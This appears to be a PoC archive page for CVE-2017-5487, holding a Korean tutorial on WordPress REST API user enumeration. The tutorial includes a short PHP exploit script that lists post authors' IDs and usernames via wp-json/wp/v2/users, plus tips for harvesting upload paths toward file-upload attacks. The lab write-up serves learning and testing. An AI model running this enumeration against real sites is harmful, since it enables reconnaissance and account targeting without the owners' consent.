Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2017-5487 PoC — WordPress 安全漏洞

Source
Associated Vulnerability
Title: WordPress 安全漏洞 (CVE-2017-5487)
Description:wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php in the REST API implementation in WordPress 4.7 before 4.7.1 does not properly restrict listings of post authors, which allows remote attackers to obtain sensitive information via a wp-json/wp/v2/users request.
Description
cve-2017-5487 wp rest api 취약점
Readme
1. CVE-2017-5487이란?

 : 워드프레스 4.7.1 이전의 버전에서 wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php에 있는 REST API 구현에 있어 게시자 목록을 제한하지 않아 원격 공격자가 wp-json/wp/v2/users 요청을 통해 중요한 정보를 얻을 수 있는 취약점.

( 참고 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5487 )



무슨 말인지 모르겠으니 배경지식에 대해 알아본 뒤 실습을 통해 알아보도록 하자.

만약 배경지식이 필요없다 생각이 든다면 [3]부터 보면 된다.



2. REST API란?

 : 간단히 말하자면 "무엇을 어떻게 한다" 를 정의한 API를 REST API라고 할 수 있다.

 : 좀 더 자세히 설명하자면 HTTP URI로 정의된 리소스를 HTTP Method와 Payload를 이용하여 어떻게 한다는 것이 REST API이다.

 : REST = REpresentational State Transter의 약자



2.1 HTTP URI로 정의된 리소스

 : 리소스란 처리되는 대상을 의미

 ex) JSON, XML 문서, jpg 등 이미지 파일, mp4 등 비디오 파일 등등..



 : URI란 Uniform Resource Identifier의 약자로 통합 자원 식별자이다. 우리가 흔히 보는 URL도 URI의 일부인데 어떠한 자원을 식별하는 것을 말한다.

 ex) http://rootable.tistory.com/user/test 를 통해 test라는 유저에 대한 정보를 획득할 수 있다면 이도 또한 URI이다.



2.2 HTTP Method

 : 해당 메소드는 리소스가 어떤 형식이던지 상관없이 똑같이 동작한다.

 : REST API에서 사용되는 메소드는 POST, GET, PUT, PATCH, DELETE 등이 있다. 주의할 점은 우리가 생각하는 기능과는 다르다는 점이다. 예를 들어 POST같은 경우 우리는 서버로 데이터나 문서를 요청할 때 사용하는 메소드라 생각하는데 REST API같은 경우는 생성(create) 기능을 한다.



 * HTTP Method와 CRUD 연산 정리

HTTP Method 

CRUD 연산 

 POST

 create 

 GET 

 read 

 PUT 

 update / replace 

 PATCH 

 update / modify 

 DELETE 

 delete 



 * CRUD 연산이란 컴퓨터 소프트웨어가 기본적으로 데이터 처리할 때 사용하는 Create, Read, Update, Delete를 묶어서 일컫는 말이다.



ex) http://rootable.tistory.com의 users에 doni라는 사용자를 추가하라는 REST API

POST http://rootable.tistroy.com/users/doni



ex) 사용자 생성 시 직업, 나이, 성별 등 다양한 특성이 필요할 경우 XML이나 JSON 같은 다양한 표현 언어를 Body 부분에 명시하여 등록

POST http://rootable.tistory.com/users Content-Type: application/json



{

"username" : "doni"

"age" : "27"

}



3. 워드프레스의 REST API

 : REST API가 리소스를 어떻게 하겠다는 미리 정의된 API라 하였다. 그렇다면 워드프레스에서 정의한 REST API는 무엇이 있을까?



아래의 표를 참고하자.

Resource	Base Route
Posts	/wp/v2/posts
Post Revisions	/wp/v2/revisions
Categories	/wp/v2/categories
Tags	/wp/v2/tags
Pages	/wp/v2/pages
Comments	/wp/v2/comments
Taxonomies	/wp/v2/taxonomies
Media	/wp/v2/media
Users	/wp/v2/users
Post Types	/wp/v2/types
Post Statuses	/wp/v2/statuses
Settings	/wp/v2/settings
여러가지 REST API가 정의된 것을 볼 수 있다. 여기서 우리가 이번에 알아볼 CVE에서 나온 /wp/v2/users가 있는 것을 알 수 있다.



4. CVE 활용

4.1. 글작성자에 대한 정보 획득

 - 아래는 EXPLOIT DB에서 찾은 코드이다. ( https://www.exploit-db.com/exploits/41497/ )

 - 코드를 보면 알 수 있듯이 그냥 처리 결과를 깔끔하게 정리하여 화면에 뿌려주는게 다다. 굳이 이 익스플로잇 코드를 이용하지 않고 직접접근하여도 정보를 얻을 수는 있으므로 깔끔하게 보이기 위해 FU 취약점까지 갈 필요는 없다고 본다.

#!usr/bin/php
<?php
 
#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: dctoralves@protonmail.ch
#Site: https://mateuslino.tk 
header ('Content-type: text/html; charset=UTF-8');
 
 
$url= "http://localhost/";
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
    echo "*-----------------------------*\n";
foreach($json as $users){
    echo "[*] ID :  |" .$users['id']     ."|\n";
    echo "[*] Name: |" .$users['name']   ."|\n";
    echo "[*] User :|" .$users['slug']   ."|\n";
    echo "\n";
}echo "*-----------------------------*";} 
else{echo "[*] No user";}
 
 
?>


이를 wordpress를 설치한 곳에 php코드로 저장 후 실행시키면 아래와 같이 결과가 뜬다.





직접 접근할 경우는 아래와 같이 보인다. (잘 안보인다면 클릭)





이를 통해 알 수 있는 정보는 글을 작성한 사용자에 대한 ID, name 등 정보를 획득할 수 있다



참고) 회원가입되어 있는 모든 사용자가 보이는줄 알았지만 테스트한 결과 글 작성자의 계정만 보이는 것이다. CVE 설명을 보면 author라는 단어가 있는데 이게 바로 작성자의 의미인 듯 하다. 



4.2 파일업로드 경로 획득

Wordpress에서의 REST API 중 /wp/v2/posts가 있다. 이에 접근하면 아래와 같이 포스팅한 글에 대한 정보가 보이는데 이 중 표시한 것처럼 파일업로드 경로를 획득할 수 있다. FU 취약점이 발견된다면 큰 도움이 될 것으로 보인다.





- posts를 할 경우 너무 많은 정보가 떠 불편할 경우 [ /wp-json/wp/v2/posts/20 ] 로 접근한다면 20번째 글에 대한 정보만 획득할 수 있다.



5. 참고

4.7 버전에서도 setting을 보거나 글을 수정하는 것은 불가능한 것으로 보인다,



- 세팅을 보려할 경우엔 rest_forbidden이 뜨며 접근이 금지된다.





- 첫번째 글을 수정하려 할 경우 글을 읽을 수 없다는 메시지가 뜬다.





- user를 보는 것보다 이게 더 큰 것일 텐데 조금 아쉽다.. 검색 결과 이에 해당하는 취약점은 없는 것으로 보인다. 다만 4.7.1 이전의 버전에 대해 타사용자의 글을 수정할 수 있는 취약점이 존재하는 것으로 보인다. 이는 다음 포스팅에서 진행하도록 하겠다.



참고)

1. REST API 설명 : http://blog.naver.com/PostView.nhn?blogId=complusblog&logNo=220986337770

2. 유니코드 번역 : http://koreanstudies.com/unicode-converter.html

3. 다운그레이드 (하다가 진행이 안되서 다시 설치했으므로 안새로 설치하는 것을 추천한다)

: http://www.bbsetheme.co.kr/%EC%9B%8C%EB%93%9C%ED%94%84%EB%A0%88%EC%8A%A4-%EB%B2%84%EC%A0%84-%EB%8B%A4%EC%9A%B4%EA%B7%B8%EB%A0%88%EC%9D%B4%EB%93%9C-%ED%95%98%EA%B8%B0/
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →